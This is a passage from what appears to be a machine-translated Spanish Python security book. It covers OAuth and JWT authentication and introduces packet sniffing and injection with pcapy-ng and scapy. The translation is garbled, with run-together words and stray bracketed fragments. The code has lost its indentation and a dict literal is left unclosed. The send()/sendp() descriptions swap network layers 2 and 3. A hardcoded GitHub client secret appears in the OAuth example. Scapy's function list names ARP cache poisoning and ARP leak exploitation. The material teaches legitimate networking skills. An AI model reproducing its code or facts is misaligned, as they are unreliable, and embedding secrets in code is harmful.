puede encontrar todos los detalles técnicos de este marco y
cómo implementarlo en sus páginas web para facilitar el inicio
de sesión de sus usuarios.
Roles de OAuth
OAuth funciona básicamente medianteDelegar el permiso de
autenticación del usuario al servicio que gestiona esas cuentas,
de modo que sea el propio servicio el que otorgue acceso a
aplicaciones de terceros. En OAuth 2.0, existen diferentes roles
que participan en el proceso. En el protocolo que define OAuth,
podemos identificar cuatro roles:
1. Propietario del recurso : El recursoEl propietario es el
usuario que autoriza a una aplicación a acceder a su
cuenta y ejecutar ciertas tareas. El acceso está limitado
según el alcance otorgado por el usuario durante el
proceso de autorización.
2. Cliente : El cliente sería la aplicación que desea acceder
a esa cuenta de usuario. Antes de...Para poder hacerlo,
deberá ser autorizado por el usuario, y dicha autorización
deberá ser validada por la API.
3. Servidor de recursos : El recursoEl servidor es el
servidor que almacena las cuentas de usuario.
4. Servidor de autorización : La autorizaciónEl servidor se
encarga de gestionar las solicitudes de autorización.
Verifica la identidad de los usuarios y emite una serie de
tokens de acceso a la aplicación cliente.
Flujo de trabajo de OAuth
El proceso de autorización en OAuth diferencia los siguientes
flujos predefinidos o tipos de concesión, que se pueden utilizar
enAplicaciones que requieren autorización:
Código de autorización : El cliente solicita al propietario
del recurso que inicie sesión en el servidor de
autorización.El propietario del recurso se redirige al
cliente junto con un código de autorización. Este código es
utilizado por el servidor de autorización para emitir un
token de acceso al cliente.
Autorización implícita : EstaEl proceso de autorización
es bastante similar a la autorización de código que
acabamos de analizar, pero es menos complejo porque el
servidor de autorización emite el token de acceso
directamente.
Credenciales de contraseña del propietario del
recurso : en este caso, el propietario del recurso confía
sus datos de acceso directamente ael cliente, lo que es
directamente contrario al principio básico de OAuth, pero
implica menos esfuerzo para el propietario del recurso.
Credenciales del cliente : Este proceso de autorización
es especialmente sencillo y se utiliza cuando un cliente
deseaacceder a datos que no tienen titular o no requieren
autorización.
El flujo que se describe a continuación es un flujo genérico que
representa el protocolo OAuth:
1. La aplicación cliente solicita autorización para acceder al
servicio de recursos de un usuario.
2. Si el usuario autoriza esta solicitud, la aplicación recibe
una concesión de autorización.
3. La aplicación solicita un token de acceso al servidor de
autorización (API) presentando su identidad y el permiso
previamente otorgado.
4. Si el servicio reconoce correctamente la identidad de la
aplicación cliente y la autorización es válida, el servidor
de autorización (API) emite un token de acceso a la
aplicación. Este paso completa el proceso de autorización.
5. La aplicación solicita un recurso del servidor de recursos
(API) y presenta el token de acceso correspondiente.
6. Si el accesoEl token es válido, el servidor de recursos (API)
entrega el recurso a la aplicación.
Lo primero que ocurre es que la aplicación solicita autorización
para acceder a los datos del usuario mediante uno de los
servicios que lo permiten. Si el usuario autoriza la solicitud, la
aplicación recibe una autorización de acceso que debe validar
correctamente con el servidor. De ser así, emite un token a la
aplicación que solicita el acceso para que pueda acceder. Si, en
cualquier momento, el usuario deniega el acceso o el servidor
detecta un error, la aplicación no podrá acceder y mostrará un
mensaje de error.
Implementación de un cliente con requests_oauthlib
El requests-oauthlib, https://pypi.org/project/requests-
oauthlib , es un módulo que nos ayuda a implementarClientes
OAuth en Python. Este módulo integra dos componentes
principales: el requestspaquete y oauthlib. Desde su entorno
virtual, puede instalarlo con el siguiente comando:
$ pip install requests_oauthlib
El siguiente ejemplo pretende usar el servicio GitHub y
registrar una aplicación que nos permita obtener las
credenciales para autorizar su uso. Como primer paso, en
la sección "Aplicaciones OAuth" de la configuración del
desarrollador ( https://github.com/settings/developers ),
podemos crear nuestra aplicación de prueba.
Figura 4.3: Creación de una aplicación OAuth en el servicio
GitHub
Al crear una aplicación, nosotrosDebe introducir el nombre de
la aplicación, la URL de la página de inicio y la URL de
devolución de llamada de autorización .
Figura 4.4: Creación de una aplicación OAuth en el servicio
GitHub
Una vez que hayamos creado nuestra aplicación de prueba,
podríamos generar un secreto de cliente para autorizar a
nuestra aplicación a acceder al servicio.
Figura 4.5: Generación de un nuevo secreto de cliente en el
servicio de GitHub
A continuación, implementamos un script que tiene el objetivo
de solicitar un token del servicio GitHub queAutoriza al usuario
a acceder a la información de su perfil en GitHub. Puedes
encontrar el siguiente código en el github_oauth.pyarchivo
dentro de la requests_oauthcarpeta:
from requests_oauthlib import OAuth2Session
import json
client_id = "f97ae0269c79de5bb177"
client_secret =
"53488c4d18ab6f462dc2d119a1673120259e1f0b"
authorization_base_url =
'https://github.com/login/oauth/authorize'
token_url = 'https://github.com/login/oauth/access_token'
github = OAuth2Session(client_id)
authorization_url, state =
github.authorization_url(authorization_base_url)
print('Please go here and authorize,', authorization_url)
redirect_response = input('Paste the full redirect URL here:')
github.fetch_token(token_url,
client_secret=client_secret,authorization_response=redirect_re
sponse)
response = github.get('https://api.github.com/user')
print(response.content.decode())
dict_response = json.loads(response.content.decode())
for key,value in dict_response.items():
print(key,"-->",value)
En el código anterior, definimos las
claves client_idy client_secretque generamos en el servicio de
GitHub. El lector podría usar este servicio para generar sus
propias client_idclaves client_secretsy y reemplazarlas en el
código anterior en las variables definidas.
A continuación, definimos los puntos finales de OAuth que se
indican en la documentación de la API de GitHub. Continuamos
redirigiendo al usuario a GitHub para su autorización y
obtenemos el código de verificación de la autorización desde la
URL de devolución de llamada. Con el fetch_token()método,
obtenemos el token de acceso y, con el get()método,
obtenemos un recurso protegido, como el acceso al perfil del
usuario autorizado.
Al ejecutar el anteriorEn el código, vemos cómo se genera una
URL que usa el [nombre del archivo] client_idy debemos usarla
para autorizar la aplicación. Al cargar esta URL, se realiza una
redirección de autorización desde el [nombre del
archivo] token_urly [nombre del archivo client_secret].
$ python github_oauth.py
Please go here and authorize,
https://github.com/login/oauth/authorize?
response_type=code&client_id=f97ae0269c79de5bb177&state
=Og4jU0IXoKSJqdiMAymTtgDhPk5a1a
Paste the full redirect URL here: https://www.python.org/?
code=0bb064b32d3926a23d88&state=Og4jU0IXoKSJqdiMAym
TtgDhPk5a1a
{"login":"jmortega","id":4352324,"node_id":"MDQ6VXNlcjQzNTI
zMjQ=","avatar_url":"https://avatars.githubusercontent.com/u/
4352324?v=4","gravatar_id":"","url":"https://api.github.com/
users/jmortega","html_url":"https://github.com/
jmortega","followers_url":"https://api.github.com/users/
jmortega/followers","following_url":"https://api.github.com/
users/jmortega/following{/other_user}","gists_url":"https://
api.github.com/users/jmortega/gists{/
gist_id}","starred_url":"https://api.github.com/users/jmortega/
starred{/owner}{/repo}","subscriptions_url":"https://
api.github.com/users/jmortega/
subscriptions","organizations_url":"https://api.github.com/
users/jmortega/orgs","repos_url":"https://api.github.com/users/
jmortega/repos","events_url":"https://api.github.com/users/
jmortega/events{/privacy}","received_events_url":"https://
api.github.com/users/jmortega/
received_events","type":"User","site_admin":false,"name":"José
Manuel
Ortega","company":"http://jmortega.github.io/","blog":"https://
www.amazon.co.uk/Jos%C3%A9-Manuel-Ortega/e/
B07JH38HXD/","location":"UK","email":null,"hireable":true,"bio":
"I am Software Engineer with focus on new technologies, open
source, security and testing.Specialized in Python,Java,Docker
and security testing
projects","twitter_username":null,"public_repos":130,"public_
gists":0,"followers":168,"following":9,"created_at":"2013-05-
06T07:55:31Z","updated_at":"2022-11-26T17:03:36Z"}
Acabamos de aprender sobre el protocolo OAuth y cómo usar
el request_oauthlibmódulo para implementar un cliente.Que
solicita autorización para un servicio de terceros. A
continuación, aprenderemos a implementar tokens web JSON
con Python.
Implementación de tokens web JSON (JWT) en Python
Un token web JSON es un token de acceso estandarizado en
RFC 7519 que permite el intercambio seguro de datos entre
dosPartes. Este token contiene toda la información importante
sobre una entidad, lo que significa que no es necesario
consultar una base de datos ni guardar la sesión en el servidor.
Un token web JSON ofrece varias ventajas sobre el método
tradicional de autenticación y autorización mediante cookies,
por lo que se utiliza en las siguientes situaciones:
Aplicaciones REST : En las aplicaciones REST, el JWT
garantiza la apatridia enviando los datos de autenticación
directamente con la solicitud.
Intercambio de recursos entre orígenes : JWT envía
información utilizando el intercambio de recursos entre
orígenes, lo que le otorga una gran ventaja sobre las
cookies, que normalmente no se envían mediante este
procedimiento.
Uso de muchos marcos : cuando se utilizan varios
marcos, los datos de autenticación se pueden compartir
más fácilmente.
¿Cómo funciona un token web JSON?
El usuarioEl inicio de sesión ejemplifica bien la función del
token web JSON. Antes de usar el JWT, se debe establecer una
clave secreta. Una vez que el usuario haya ingresado
correctamente sus credenciales, el JWT se devuelve con la
clave y se guarda localmente. La transmisión debe realizarse
mediante HTTPS para una mejor protección de los datos.
De esta forma, cada vez que el usuario accede a recursos
protegidos, como una API o una ruta protegida, el agente de
usuario utiliza el JWT como parámetro (por
ejemplo, jwtpara GETsolicitudes) o como encabezado de
autorización (para [ nombre de la entidad], POST[ nombre de la
entidad PUT] , [nombre OPTIONSde la entidad] y
[ DELETEnombre de la entidad]. La otra parte puede descifrar
el JWT y ejecutar la solicitud si la verificación es correcta. Un
JWT firmado consta de tres partes, todas codificadas en Base64
y separadas por un punto HEADER.PAYLOAD.SIGNATURE:
1. Encabezado : El encabezado se compone de dos valores
y proporciona información importante sobre el token,
como el tipo de token y la firma o el algoritmo de cifrado
utilizado. Este podría ser un ejemplo de un encabezado
JWT:{ "alg": "HS256", "type": "JWT" }
2. Carga útil : Consiste en un objeto JSON real que se
codificará. El campo de carga útil del token web JSON
contiene la información que se enviará a la aplicación.
AlgunosAquí se definen los estándares que determinan
qué datos se transmiten. La información se proporciona
como pares clave-valor, donde las claves se denominan
notificaciones en JWT.
3. Firma : Esto verifica que el mensaje no se haya
modificado durante el proceso mediante la clave secreta
compartida entre las partes. La firma de un token web
JSON se crea utilizando la codificación Base64 del
encabezado y la carga útil, así como el método de firma o
cifrado especificado. La estructura se define mediante la
Firma Web JSON ( JWS ), unEstándar establecido en RFC
7515. Para que la firma sea efectiva, es necesario usar
una clave secreta que solo la aplicación original conoce.
Por un lado, la firma verifica que el mensaje no haya sido
modificado y, por otro lado, si el token está firmado con
una clave privada, también garantiza que el remitente del
JWT sea el correcto.
Trabajando con PyJWT
PyJWT es una biblioteca de Python queNos permite codificar y
decodificar datos utilizando el estándar JWT. Puede encontrar la
documentación completa en la siguiente URL:
https://pyjwt.readthedocs.io/en/latest/installation.html
Dado que el módulo está en el repositorio de Python, la
instalación se puede realizar con el siguiente comando:
$ pip install pyjwt
Este módulo proporciona encode()funciones decode()que
permiten reportar el algoritmo hash cuyo valor predeterminado
es HS256. En las siguientes instrucciones, utilizamos estos
métodos para generar el token a partir de los datos y el
proceso de obtención de los datos originales del token.
>>> import jwt
>>> data={"data":"my_data"}
>>> token512 = jwt.encode(data, 'secret_key',
algorithm='HS512')
>>> token512
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJkYXRhIjoibXlfZGF0Y
SJ9.JWpuy1lXYZy6jRUfjgc6DMlaJxSAQVLKlf8mhC1aXPW-
5tmo44eMg8IKE4iqweiUoBEJptnovjY3bXew0Z9oqg'
>>> output = jwt.decode(token512, 'secret_key',
algorithms='HS512')
>>> output
{'data': 'my_data'}
Es un requisito esencial utilizar el mismo secret_keyen ambas
funciones para que el algoritmo retorneLos datos originales.
Si secret_keyson diferentes, se devuelve un mensaje de error
que indica que la verificación de la firma ha fallado .
>>> output = jwt.decode(token512, 'other_secret_key',
algorithms='HS512')
Traceback (most recent call last):
raise InvalidSignatureError("Signature verification failed")
jwt.exceptions.InvalidSignatureError: Signature verification
failed
En el siguiente ejemplo, nosotrosVea cómo codificar y
decodificar un objeto codificado como JSON. Para codificar este
objeto, utilizamos el encode()método, que recibe como
parámetros la carga útil, la clave secreta configurada y el
algoritmo. Para la decodificación, decode()utilizamos el
método, que tiene como parámetros el token obtenido durante
la codificación, la clave secreta y el algoritmo. Puede encontrar
el siguiente código en el pyjwt_encode_decode.pyarchivo de
la pyjwtcarpeta:
import datetime
import jwt
SECRET_KEY = "python_jwt"
json_data = {
"sender": "Python JWT",
"message": "Testing Python JWT",
"date": str(datetime.datetime.now()),
encoded_token = jwt.encode(payload=json_data,
key=SECRET_KEY, algorithm="HS256")
print("Token:",encoded_token)
try:
decode_data = jwt.decode(jwt=encoded_token,
key=SECRET_KEY, algorithms="HS256")
print("Decoded data:",decode_data)
except Exception as e:
message = f"Token is invalid --> {e}"
print({"message": message})
Al ejecutar el script anterior, observamos cómo obtenemos el
token a partir de los datos codificados en formato JSON.
Posteriormente, aplicamos la decodificación para obtener los
datos originales del token y la clave secreta.
$ python pyjwt_encode_decode.py
Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZW5kZXIiOiJQeXRob
24gSldUIiwibWVzc2FnZSI6IlRlc3RpbmcgUHl0aG9uIEpXVCIs
ImRhdGUiOiIyMDIyLTExLTIxIDIzOjM3OjUwLjEyMjgxMCJ9.ckpJagY
c-wJo7rhHr_AQgtKE-u4RkEXuAXq1okdKchs
Decoded data: {'sender': 'Python JWT', 'message': 'Testing
Python JWT', 'date': '2022-11-21 23:37:50.122810'}
En el guión anterior, nosotrosSe usó la misma clave para
decodificar el token generado con el HS256algoritmo. Si desea
invalidar este token, puede añadir otro campo llamado expcon
la fecha de expiración establecida con una fecha anterior a la
fecha de ejecución.
json_data = {
"sender": "Python JWT",
"message": "Testing Python JWT",
"date": str(datetime.datetime.now()),
"exp": datetime.datetime.utcnow() -
datetime.timedelta(seconds=1)
Si el token es válido, entonces obtenemos el objeto JSON
correcto, de lo contrario, el intérprete de Python lanza una
excepción que dice que el token no es válido .
Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZW5kZXIiOiJQeXRob
24gSldUIiwibWVzc2FnZSI6IlRlc3RpbmcgUHl0aG9uIEpXVCIsI
mRhdGUiOiIyMDIyLTExLTIxIDIzOjQ2OjI1LjQ2NjE2NSIsImV4cCI6M
TY2OTA3MDc4NH0.5QvpO5cr2IcFeJqAmF2-
Wcr69Pd55LMIVZzfS7O58fs
{'message': 'Token is invalid --> Signature has expired'}
Resumen
En este capítulo, analizamos los
módulos urllib.request, requests, requests-oauthliby pyjwtpara
crear clientes HTTP e implementar la autenticación.
Este requestsmódulo es una herramienta muy útil si queremos
usar endpoints de API desde nuestra aplicación Python. En la
sección anterior, revisamos los principales mecanismos de
autenticación y cómo implementarlos con el requestsmódulo.
En el próximo capítulo, exploraremos paquetes de
programación de red en Python para analizar el tráfico de red
utilizando los módulos pcapyy .scapy
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Cómo podemos realizar una POSTsolicitud con
los requestsmódulos urlliby pasando una estructura de
datos de tipo diccionario que se enviaría al cuerpo de la
solicitud?
2. ¿Cómo podemos acceder a los encabezados de solicitud y
respuesta usando el requestsmódulo?
3. ¿Cuáles son los principales roles que proporciona el
protocolo OAuth 2.0 en el proceso de autorización?
4. ¿Qué mecanismo se utiliza para mejorar el proceso de
autenticación básica mediante el uso de un algoritmo
criptográfico hash unidireccional?
5. ¿Qué encabezado se utiliza para identificar el navegador y
el sistema operativo que estamos usando para enviar
solicitudes a una URL?
Lectura adicional
En los siguientes enlaces podrás encontrar más información
sobre las herramientas y la documentación oficial de Python
para algunos de los módulos a los que hemos hecho referencia:
Documentación de
urllib.request : https://docs.python.org/3/library/urll
ib.request.html
Solicita
documentación : https://requests.readthedocs.io
Documentación de solicitudes-
oauthlib : https://requests-oauthlib.readthedocs.io
Documentación de
pyjwt : https://pyjwt.readthedocs.io
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
5
Análisis del tráfico de red y rastreo de paquetes
Este capítulo le presentará algunos de los conceptos básicos
del análisis del tráfico de red mediante los módulos pcapy-
ng y scapy en Python. Estos módulos le permiten escribir
pequeños scripts en Python que pueden comprender el tráfico
de red. Scapy es una herramienta de manipulación de
paquetes de red escrita en Python que puede falsificar o
decodificar paquetes, reenviarlos, capturarlos y comparar
solicitudes y respuestas.
En este capítulo se tratarán los siguientes temas:
Comprender el módulo pcapy-ng para capturar e inyectar
paquetes en la red.
Explorando el módulo scapy para capturar, analizar,
manipular e inyectar paquetes de red.
Implementación del módulo scapy para el escaneo de
puertos de red.
Usando el módulo scapy para leer un archivo pcap.
Comprender el módulo scapy para el rastreo de paquetes.
Trabajar con scapy para detectar ataques de suplantación
de ARP.
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará instalar
una distribución de Python en su equipo local y tener
conocimientos básicos sobre paquetes, captura y rastreo de
redes con herramientas como Wireshark. También se
recomienda usar una distribución Unix para facilitar la
instalación y el uso del módulo scapy. Trabajaremos con la
versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter05 .
Captura e inyección de paquetes con pcapy-ng
EnEn esta sección, ustedAprenderá los conceptos básicos de
pcapy-ng y cómo capturar y leer encabezados de paquetes.
pcapy-ng es un módulo de Python quePermite que los scripts
de Python capturen paquetes en la red y resulta muy eficaz
cuando se utiliza junto con otras colecciones de clases de
Python para la construcción y el manejo de paquetes. Puede
descargar el código fuente y la última versión estable y de
desarrollo en https://github.com/stamparm/pcapy-ng .
Para instalar pcapy-ng en su sistema operativo, puede utilizar
el siguiente comando:
$ pip install pcapy-ng
Collecting pcapy-ng
Downloading pcapy-ng-1.0.9.tar.gz (38 kB)
Building wheels for collected packages: pcapy-ng
Building wheel for pcapy-ng (setup.py) ... done
Created wheel for pcapy-ng: filename=pcapy_ng-1.0.9-cp310-
cp310-linux_x86_64.whl size=79955
sha256=3b2e321d2bc02106c1d3899663f9d5138bb523397c24
6274501cdc1c74f639e9
Stored in directory:
/root/.cache/pip/wheels/27/de/8d/474edb046464fd3c3bf2a79de
c3222b732b5410d2e0097d2b0
Successfully built pcapy-ng
Installing collected packages: pcapy-ng
Successfully installed pcapy-ng-1.0.9
Captura de paquetes con pcapy-ng
El módulo pcapy-ngproporciona open_live()para
capturarPaquetes de una interfaz específica y podemos
especificar el número de bytes por captura y otros parámetros
como el modo promiscuo y el tiempo de espera. En el siguiente
ejemplo, usamos el findalldevs()método para obtener todas las
interfaces de su máquina y obtenemos los bytes capturados
usando la interfaz seleccionada.Puede encontrar el siguiente
código en el pcapy_capturing_packets.pyarchivo dentro de
la pcapycarpeta:
import pcapy
import datetime
interfaces = pcapy.findalldevs()
print("Available interfaces are :")
for interface in interfaces:
print(interface)
interface = input("Enter interface name to sniff : ")
print("Sniffing interface " + interface)
cap = pcapy.open_live(interface, 65536 , 1 , 0)
while True:
(header, payload) = cap.next()
print ('%s: captured %d bytes' %(datetime.datetime.now(),
header.getlen()))
PuedeSeleccione una interfaz de red de interés de la lista
anterior. Invoque el script de nuevo, esta vez
con sudoprivilegios, y veremos los bytes capturados en la
interfaz en tiempo real.
$ sudo python pcapy_capturing_packets.py
Available interfaces are:
wlo1
any
lo
....
Enter interface name to sniff: wlo1
Sniffing interface wlo1
2022-12-03 17:39:09.033355: captured 412 bytes
2022-12-03 17:39:09.033435: captured 432 bytes
2022-12-03 17:39:09.033492: captured 131 bytes
...
Tenga en cuenta que normalmente necesitaremos ejecutar los
comandos con sudoya que el acceso a las interfaces requiere
acceso de administrador del sistema.
Lectura de encabezados de paquetes
En elSiguiendo el ejemplo, capturamospaquetes de un
dispositivo específico (wlo1), y para cada paquete, obtenemos
el encabezado y la carga útil para extraer información sobre
direcciones MAC, encabezados IP y protocolo. Puede
encontrarel siguiente código en
el pcapy_reading_headers.pyarchivo dentro de
la pcapycarpeta:
import pcapy
from struct import *
interfaces = pcapy.findalldevs()
print("Available interfaces are :")
for interface in interfaces:
print(interface)
interface = input("Enter interface name to sniff : ")
cap = pcapy.open_live(interface, 65536, 1, 0)
while True:
(header,payload) = cap.next()
l2hdr = payload[:14]
l2data = unpack("!6s6sH", l2hdr)
srcmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[0],
l2hdr[1], l2hdr[2], l2hdr[3], l2hdr[4], l2hdr[5])
dstmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[6],
l2hdr[7], l2hdr[8], l2hdr[9], l2hdr[10],l2hdr[11])
print("Source MAC: ", srcmac, " Destination MAC: ", dstmac)
# get IP header from bytes 14 to 34 in payload
ipheader = unpack('!BBHHHBBH4s4s' , payload[14:34])
timetolive = ipheader[5]
protocol = ipheader[6]
print("Protocol ", str(protocol), " Time To Live: ",
str(timetolive))
$ sudo python pcapy_reading_headers.py
Available interfaces are :
wlo1
any
lo
enp0s25
docker0
br-9ab711bca770
bluetooth0
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
Enter interface name to sniff :wol1
Source MAC: a4:4e:31:d8:c2:80 Destination MAC:
f4:1d:6b:dd:14:d0
Protocol 6 Time To Live: 234
Source MAC: f4:1d:6b:dd:14:d0 Destination MAC:
a4:4e:31:d8:c2:80
Protocol 6 Time To Live: 64
…..
CuandoAl ejecutar el script anterior, devuelve elDirecciones
MAC y el tiempo de vida de cada uno de los paquetes
capturados.
Lectura de archivos pcap con pcapy-ng
En elProceso de captura de paquetes. Es común encontrar
archivos con la .pcapextensión . Este archivo contiene tramas y
paquetes de red, y es muy útil si necesitamos guardar el
resultado de un análisis de red para su posterior
procesamiento. La información almacenada en un .pcaparchivo
puede analizarse tantas veces como sea necesario sin
modificar el archivo original.
Con esta open_offline()función, podemos leer un pcaparchivo y
obtener una lista de paquetes que se pueden gestionar
directamente desde Python. Puedes encontrar el siguiente
código en el pcapy_read_pcap.pyarchivo dentro de
la pcapycarpeta:
import pcapy
from struct import *
pcap_file = pcapy.open_offline("packets.pcap")
count = 1
while count<500:
print("Packet #: ", count)
count = count + 1
(header,payload) = pcap_file.next()
l2hdr = payload[:14]
l2data = unpack("!6s6sH", l2hdr)
srcmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[0],
l2hdr[1], l2hdr[2], l2hdr[3], l2hdr[4], l2hdr[5])
dstmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[6],
l2hdr[7], l2hdr[8], l2hdr[9], l2hdr[10],l2hdr[11])
print("Source MAC: ", srcmac, " Destination MAC: ", dstmac)
ipheader = unpack('!BBHHHBBH4s4s' , payload[14:34])
timetolive = ipheader[5]
protocol = ipheader[6]
print("Protocol ", str(protocol), " Time To Live: ",
str(timetolive))
count = count + 1
En el código anterior, leemos los primeros 500 paquetes en
la packets.pcapcaptura incluida enLa pcapycarpeta. Para cada
paquete, obtenemos las direcciones MAC de origen y destino,
así como el protocolo y el tiempo de vida ( TTL ) del paquete.
Capturar e inyectar paquetes con scapy
El análisis deEl tráfico de red, que consiste en los paquetes que
se intercambian entre dos hosts y que pueden ser
interceptados, podría ayudarnos a identificar los detalles al
conocer los detalles de los sistemas que participan en la
comunicación. El mensaje y la duración de la comunicación son
parte de la valiosa información que un atacante que escucha
en la red puede obtener.
Introducción a Scapy
Scapy es unMódulo escrito en Python para manipular paquetes
de datos compatible con múltiples protocolos de red. Permite la
creación y modificación de paquetes de red de diversos tipos,
implementa funciones para capturar y rastrear paquetes
pasivamente, y luego ejecuta acciones sobre estos.
Recomiendo usar scapy en sistemas Linux, ya que fue diseñado
pensando en Linux.
ElLa versión más reciente de Scapy es compatible con
Windows, pero para este capítulo, asumo que usa una
distribución de Linux con una instalación de Scapy
completamente funcional. Para instalar Scapy, puede seguir las
instrucciones en https://scapy.net y ejecutar el siguiente
comando:
$ sudo pip install scapy
Collecting scapy
Downloading scapy-2.4.5.tar.gz (1.1 MB)
|████████████████████████████████| 1.1 MB 4.6
MB/s
Building wheels for collected packages: scapy
Building wheel for scapy (setup.py) ... done
Created wheel for scapy: filename=scapy-2.4.5-py2.py3-none-
any.whl size=1261554
sha256=15d3e4d36f73cdf2fd319ee17047d49cba49ae0a14e7a
d90556784247f220f84
Stored in directory:
/root/.cache/pip/wheels/85/7a/e6/48f944c02302d8d0252c148b
dab7616a1567737c1e57117c31
Successfully built scapy
Installing collected packages: scapy
Successfully installed scapy-2.4.5
Cuando instalas scapy ensu sistema operativo, puede acceder
a su interfaz de línea de comandos ( CLI ) de la siguiente
manera:
$ scapy
Figura 5.1: Acceso a la CLI de scapy
Comandos de Scapy
Scapy ofreceNos proporciona numerosos comandos para
investigar una red. Podemos usar scapy de dos maneras:
interactivamente en una ventana de terminal o
programáticamente desde un script de Python importándolo
como biblioteca. Las principales funciones que podemos usar
para obtener las capas y funciones disponibles en scapy son:
ls() : Lista de capas disponibles.
explore() : Interfaz gráfica para visualizar capas
existentes.
lsc() : Funciones disponibles.
send() : envía paquetes al nivel 2.
sendp() : envía paquetes al nivel 3.
sr() : Envía y recibe paquetes en el nivel 3.
srp() : Envía y recibe paquetes en el nivel 2.
sr1() : Envía y recibe solo el primer paquete en el nivel 3.
srp1() : Envía y recibe solo el primer paquete en el nivel
2.
sniff() : rastreo de paquetes.
traceroute() : comando de traceroute.
arping() : envía solicitudes ARP "quién tiene" para
determinar qué hosts están activos en la red.
Scapy apoyaMás de 300 protocolos de red. Podemos obtener la
lista de protocolos compatibles con scapy mediante
el ls()comando:
>>> ls()
AH : AH
AKMSuite : AKM suite
ARP : ARP
ASN1P_INTEGER : None
ASN1P_OID : None
ASN1P_PRIVSEQ : None
ASN1_Packet : None
ATT_Error_Response : Error Response
ATT_Exchange_MTU_Request : Exchange MTU Request
ATT_Exchange_MTU_Response : Exchange MTU Response
ATT_Execute_Write_Request : Execute Write Request
ATT_Execute_Write_Response : Execute Write Response
ATT_Find_By_Type_Value_Request : Find By Type Value Request
…......
Con el comando anterior, podemos ver los parámetros que se
pueden enviar en una capa determinada. Entre paréntesis,
podemos indicar la capa sobre la que deseamos más
información. A continuación, se muestra la ejecución
del ls()comando con diferentes parámetros, donde se pueden
ver los campos compatibles con los protocolos IP, ICMP y TCP:
>>> ls(IP)
version : BitField (4 bits) = ('4')
ihl : BitField (4 bits) = ('None')
tos : XByteField = ('0')
len : ShortField = ('None')
id : ShortField = ('1')
flags : FlagsField = ('<Flag 0 ()>')
frag : BitField (13 bits) = ('0')
ttl : ByteField = ('64')
proto : ByteEnumField = ('0')
chksum : XShortField = ('None')
src : SourceIPField = ('None')
dst : DestIPField = ('None')
options : PacketListField = ('[]')
>>> ls(ICMP)
type : ByteEnumField = ('8')
code : MultiEnumField (Depends on 8) = ('0')
chksum : XShortField = ('None')
id : XShortField (Cond) = ('0')
seq : XShortField (Cond) = ('0')
ts_ori : ICMPTimeStampField (Cond) = ('70780296')
ts_rx : ICMPTimeStampField (Cond) = ('70780296')
ts_tx : ICMPTimeStampField (Cond) = ('70780296')
gw : IPField (Cond) = ("'0.0.0.0'")
ptr : ByteField (Cond) = ('0')
reserved : ByteField (Cond) = ('0')
length : ByteField (Cond) = ('0')
addr_mask : IPField (Cond) = ("'0.0.0.0'")
nexthopmtu : ShortField (Cond) = ('0')
unused : MultipleTypeField (ShortField, IntField,
StrFixedLenField) = ("b''")
>>> ls(TCP)
sport : ShortEnumField = ('20')
dport : ShortEnumField = ('80')
seq : IntField = ('0')
ack : IntField = ('0')
dataofs : BitField (4 bits) = ('None')
reserved : BitField (3 bits) = ('0')
flags : FlagsField = ('<Flag 2 (S)>')
window : ShortField = ('8192')
chksum : XShortField = ('None')
urgptr : ShortField = ('0')
options : TCPOptionsField = ("b''")
También puedes verelFunciones disponibles en scapy con
el lsc()comando:
>>> lsc()
IPID_count : Identify IP id values classes in a list of
packets
arpcachepoison : Poison target's cache with (your
MAC,victim's IP) couple
arping : Send ARP who-has requests to determine
which hosts are up
arpleak : Exploit ARP leak flaws, like NetBSD-SA2017-
002.
bind_layers : Bind 2 layers on some specific fields' values.
bridge_and_sniff : Forward traffic between interfaces if1 and
if2, sniff and return
chexdump : Build a per-byte hexadecimal representation
computeNIGroupAddr : Compute the NI group Address. Can
take a FQDN as the input parameter
Scapy nos ayuda a crear paquetes personalizados en
cualquiera de las capas del protocolo TCP/IP.Los paquetes se
crean por capas, comenzando desde la capa más baja a nivel
físico (Ethernet) hasta llegar a la capa de aplicación. En el
siguiente diagrama, podemos ver la estructura que scapy
gestiona por capas.
Figura 5.2: Capas del protocolo TCP/IP
En Scapy, una capa suele representar un protocolo. Los
protocolos de red se estructuran en pilas, donde cada paso
consta de una capa o protocolo. Un paquete de red consta de
varias capas, y cada capa es responsable de parte de la
comunicación.
Un paquete en Scapy es un conjunto de datos estructurados
listos para ser enviados a una red. Los paquetes deben seguir
una estructura lógica, según el tipo de comunicación que se
desee simular. Esto significa que, si se desea enviar un paquete
TCP/IP, se deben seguir las reglas de protocolo definidas en el
estándar TCP/IP.
De forma predeterminada, la capa IP se configura como la IP de
destino de la dirección del host local en 127.0.0.1, que se
refiere a la máquina local donde se ejecuta scapy. Podríamos
ejecutar scapy desde la línea de comandos para...Verifique
nuestra dirección de host local:
>>> ip =IP()
>>> ip.show()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id =1
flags =
frag =0
ttl = 64
proto = hopopt
chksum = None
src = 127.0.0.1
dst = 127.0.0.1
\options \
Si queremos que el paquete se envíe a otra IP o dominio,
tendremos que configurar la capa IP. El siguiente comando
creará un paquete en las capas IP e ICMP:
>>> icmp_packet=IP(dst='www.python.org')/ICMP()
Además, tenemos disponibles algunos métodos
como show()y show2(), que nos permiten ver la información del
detalle de un paquete específico:
>>> icmp_packet.show()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id =1
flags =
frag =0
ttl = 64
proto = icmp
chksum = None
src = 192.168.18.21
dst = Net("www.python.org/32")
\options \
###[ ICMP ]###
type = echo-request
code =0
